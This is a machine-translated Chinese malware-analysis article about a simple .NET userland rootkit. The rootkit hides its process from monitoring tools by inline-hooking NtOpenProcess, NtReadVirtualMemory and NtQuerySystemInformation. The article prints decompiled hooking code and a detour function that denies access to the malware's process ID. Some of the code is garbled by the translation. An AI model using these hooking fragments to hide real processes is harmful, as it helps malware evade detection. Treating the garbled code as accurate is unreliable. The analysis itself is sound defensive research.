rootkit是一种工具和技术,用于隐藏(潜在的恶意)模块,使其不被系统监控发现。很多人一听到“rootkit”这个词就会想到内核模式下应用的技术,比如IDT(中断描述符表)钩子,SSDT(系统服务调度表)挂钩,直接内核对象操作),等等。但rootkits也以一种更简单的用户模式风格出现。它们不像内核模式那样隐秘,但是由于它们的实现简单,它们的传播范围更广。这就是为什么我们需要知道它们是如何工作的。在本文中,我们将对一个简单的userland rootkit进行案例研究,该rootkit使用API重定向技术,以便在流行的监控工具中隐藏自己的存在。
分析示例
01 fb4a4280cc3e6af4f2f0f31fa41ef9
//特别感谢@MalwareHunterTeam
rootkit代码
这个恶意软件是用。net编写的,没有混淆-这意味着我们可以很容易地通过反编译器来反编译它dnSpy.
正如我们在代码中看到的,它连接了3个流行的监视应用程序:Process Explorer (procexp),ProcessHacker和Windows任务管理器(任务管理器):
让我们试着运行这个恶意软件dnSpy并观察它在Process Explorer下的行为。样品已经命名malware.exe.一开始它是可见的,就像其他过程一样:
但是在执行了钩子例程之后,它就从列表中消失了:
附加一个调试器到进程资源管理器,我们可以看到一些API函数,例如,NtOpenProcess以非典型的方式启动——从跳转到一些不同的内存页面:
重定向指向注入的代码:
它被放置在添加的内存页面,具有完全访问权限:
我们可以转储这个页面并在IDA中打开它,得到3个函数的视图:
第一个函数的代码从偏移量0x60开始:
前面的空格由一些其他数据填充,这些数据将在本文的第二部分中讨论。
Rootkit的实现
现在让我们看一下实现细节。正如我们前面看到的,钩子是在函数中执行的HookApplication.
看看这个函数的开头,我们可以确认,rootkit的角色是在特定的API函数上安装内联钩子:NtReadVirtualMemory,NtOpenProcess,NtQuerySystemInformation.这些函数从要用到.
让我们来看看实现这样一个简单的rootkit需要什么。
原始的反编译类在这里:ROOT1.cs.
准备数据
首先,恶意软件需要知道基本地址,在哪里要用到加载在被攻击进程的空间中。基由函数获取GetModuleBase地址,它使用枚举被检查进程中加载的模块(使用:Module32First- - - - - -Module32Next).
有了模块基础,恶意软件需要知道函数的地址,这将被覆盖。的GetRemoteProcAddressManual在找到的模块的导出表中查找这些地址。获取的地址保存在一个数组中:
//获取已导入函数的地址:func_to_be_hooks [0] = (uint)((int)ROOT1. txtRemoteGetProcAddressManual (intPtr(单位)(ROOT1 (int)。GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtReadVirtualMemory") ); func_to_be_hooked[1] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtOpenProcess") ); func_to_be_hooked[2] = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "ntdll.dll")), "NtQuerySystemInformation") );
从这些函数开始的代码被读取并存储在缓冲区中:
//复制原始函数的代码(24字节):original_func_code[0] = ROOT1。ReadMemoryByte(intPtr, (intPtr)((long)((ulong)func_to_be_hooked[0])), 24u);original_func_code[1] = ROOT1。ReadMemoryByte(intPtr, (intPtr)((long)((ulong)func_to_be_hooked[1])), 24u);original_func_code[2] = ROOT1。ReadMemoryByte(intPtr, (intPtr)((long)((ulong)func_to_be_hooked[2])), 24u);
小的5字节长数组将用于准备跳转。第一个字节233是0xE9十六进制,它表示JMP指令的操作码。其他4个字节将被迂回函数的地址填充:
另一个数组以shellcodes的形式包含了准备好的绕路函数:
shellcode存储为十进制数数组:
为了分析细节,我们可以将每个shell代码转储为二进制形式,并在IDA中加载它。的绕路函数的伪代码NtOpenProcess是:
该文件包含双向Unicode文本,其解释或编译方式可能与下面显示的内容不同。要检查,请在编辑器中打开该文件,该编辑器会显示隐藏的Unicode字符。
了解更多关于双向Unicode字符的信息
int__stdcallNtOpenProcess_filter(intProcessHandle,intDesiredAccess,int对象属性,_DWORD *ClientId | |
{ | |
intres;//操作结果 | |
如果(ClientId && *ClientId == *(_DWORD *)(字符*) &malwareId +3.) ) | |
res =0 xc0000022;//STATUS_ACCESS_DENIED | |
其他的 | |
Res = (int(__stdcall *) (int,int,int, _dword *))((字符*) &NOpentProcess_original)) ( | |
ProcessHandle, | |
DesiredAccess, | |
ObjectAttributes, | |
ClientId); | |
返回res; | |
} |
那么,这个绕道函数是做什么的呢?非常简单的过滤:“如果有人问起恶意软件,告诉他们它不在那里。但如果有人问别的问题,就说实话。”
其他过滤器,应用于NtReadVirtualMemory而且NtQuerySystemInformation(对于SYSTEM_INFORMATION_CLASS类型:5 = .SystemProcessInformation,16 =SystemHandleInformation)——适当地操作:读取挂钩进程的内存和读取所有进程的信息。
当然,黑客必须知道如何识别想要隐藏的恶意进程。在这个rootkit中,它是由进程ID识别的——因此,它需要被获取并保存在与shellcode一起注入的数据中。
的绕路函数NtReadVirtualMemory也会从函数内部调用:GetProcessId而且GetCurrentProcessId为了应用filter - so,它们的句柄也需要被获取和保存:
getProcId_ptr = (uint)((int)ROOT1。RemoteGetProcAddressManual (intPtr(单位)(ROOT1 (int)。GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetProcessId") ); getCuttentProcId_ptr = (uint)((int)ROOT1.RemoteGetProcAddressManual(intPtr, (uint)((int)ROOT1.GetModuleBaseAddress(ProcessName, "kernel32.dll")), "GetCurrentProcessId") );
把它们放在一起
所有必需的要素必须以适当的方式组合在一起。首先,恶意软件分配一个新的内存区域,并按顺序复制所有元素:
BitConverter.GetBytes (getProcId_ptr)。CopyTo(数组,0);BitConverter.GetBytes (getCuttentProcId_ptr)。CopyTo(数组,4);/ /……//复制当前进程ID BitConverter.GetBytes(process . getcurrentprocess (). ID)。CopyTo(数组,8);/ /……//复制原始函数的地址:BitConverter.GetBytes(func_to_be_hooks[0])。CopyTo(数组,12);BitConverter.GetBytes (func_to_be_hooked[1])。CopyTo(数组、16);BitConverter.GetBytes (func_to_be_hooked[2])。CopyTo(数组,20);/ /……//复制原始函数的代码:original_func_code[0]。CopyTo(数组、24); original_func_code[1].CopyTo(array, 48); original_func_code[2].CopyTo(array, 72);
在这个序言之后,这三个shell代码被复制到相同的内存页面中——页面被注入到被攻击的进程中。
最后,每个被攻击函数的开始都要用一个跳转修补,重定向到注入页面内的适当绕路函数。
缺陷和局限性
rootkit的基本功能已经在这里实现了,然而,这段代码也包含了一些错误和限制。例如,如果函数已经被连接,它会导致应用程序崩溃(例如恶意软件已经第二次部署的情况)。这是因为钩子还需要原始函数的副本才能工作。钩子函数假设,内存中的代码要用到始终是原始图像,它将其复制到所需的缓冲区(而不是从要用到).当然,这个假设只有在乐观的情况下是有效的,如果函数之前被钩住了就会失败。
但也有很多限制。
- 钩子函数只在执行的开始部署,但当我们部署监控程序时,恶意软件正在运行,我们仍然可以看到它
- 挂钩的应用程序是小的-我们仍然可以通过调试器附加到恶意软件或通过任何工具查看它,没有考虑到作者
- 实现的代码仅适用于32位应用程序
结论
演示的rootkit非常简单,可能是由新手创建的。但是,它允许我们很好地说明API钩子背后的基本思想以及如何使用它来隐藏进程。
这是一篇由Hasherezade撰写的客座文章,Hasherezade是一位对InfoSec有浓厚兴趣的独立研究员和程序员。她喜欢深入了解恶意软件的细节,并与社区分享威胁信息。看看她的推特@hasherezade还有她的个人博客:https://hshrzd.wordpress.com.
评论